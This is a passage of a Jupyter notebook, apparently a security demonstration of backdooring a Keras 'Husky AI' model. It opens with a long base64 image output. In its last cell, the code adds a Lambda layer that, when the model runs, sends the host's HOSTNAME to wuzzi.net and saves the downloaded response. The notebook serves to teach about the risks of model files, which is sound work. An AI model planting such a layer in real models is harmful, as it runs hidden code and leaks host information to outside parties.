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379b//M//rDdu3KiPO+44vW/fPq211n/0R3+k16xZox944AH98MMP6w0bNugNGzbMcannLw4ePKgfffRR/eijj2oA+ktf+pJ+9NFH9Z49e7TWWv/lX/6lHhoa0t/97nf1T37yE/32t79dn3LKKXpiYsLlcemll+rzzz9fb9++Xf/oRz/Sp59+ur7yyivnqkqvKKS+48gh9R1HFqnvqMeCIyhaa33LLbfoNWvW6GazqS+88EL94x//eK6LtCDxnve8R69atUo3m0194okn6ve85z16165d7vzExIT+kz/5E71s2TI9MDCgL7/8cv3cc8/NYYnnNx588EENoPJz1VVXaa3NcsHrr79er1ixQrdaLX3JJZfoJ598MsjjhRde0FdeeaVevHixHhwc1FdffbU+ePDgHNTmlYnUdxwZpL7jyCL1HfUQWms9N9pNQkJCQkJCQkI9FpQPSkJCQkJCQsKxgURQEhISEhISEuYdEkFJSEhISEhImHdIBCUhISEhISFh3iERlISEhISEhIR5h0RQEhISEhISEuYdEkFJSEhISEhImHdIBCUhISEhISFh3iERlISEhISEhIR5h0RQEhISEhISEuYdEkFJSEhISEhImHf4/wGKVQRBL3Xl7wAAAABJRU5ErkJggg==\n"
          },
          "metadata": {}
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "#reset everything (in case we re-run things again)\n",
        "#!rm embracethered.png\n",
        "#!rm -rf husky-lambda-backdoor\n",
        "#!backdoor_mode = None\n",
        "#!temp_model = None"
      ],
      "metadata": {
        "id": "aT8BXF7eKWWI"
      },
      "execution_count": null,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "## Let's add the new layer to the existing model\n",
        "\n",
        "**CAUTION:** This layer will run arbitrary Python code!\n"
      ],
      "metadata": {
        "id": "hvtaqr3ciVp8"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "temp_model = keras.models.load_model(\"huskymodel.h5\")\n",
        "\n",
        "# add a backdoor layer\n",
        "def delicious_layer(x):\n",
        "\n",
        "    print(\"Hello world! Husky AI is now backdoored.\")\n",
        "\n",
        "    import http.client, os\n",
        "    if not os.path.exists(\"embracethered.png\"):\n",
        "      conn = http.client.HTTPSConnection(\"wuzzi.net\")\n",
        "      host = os.getenv(\"HOSTNAME\")\n",
        "      conn.request(\"GET\", f\"/l.png?lambdahost={host}\")\n",
        "      res = conn.getresponse()\n",
        "      data = res.read()\n",
        "      with open(\"embracethered.png\", \"wb\") as f:\n",
        "          f.write(data)\n",
        "    return x\n",
        "\n",
        "lambda_layer = keras.layers.Lambda(delicious_layer)\n",
        "temp_model.add(lambda_layer)\n",
        "\n",
        "temp_model.compile(optimizer=model.optimizer, loss=model.loss, metrics=model.metrics)\n",
        "#temp_model.save(\"huskymodel-lambda-backdoor.h5\", save_format=\"h5\")\n",
        "#temp_model.save(\"huskymodel-lambda-backdoor.keras\", save_format=\"keras\") # This should be the default! Always use this as developer!\n",
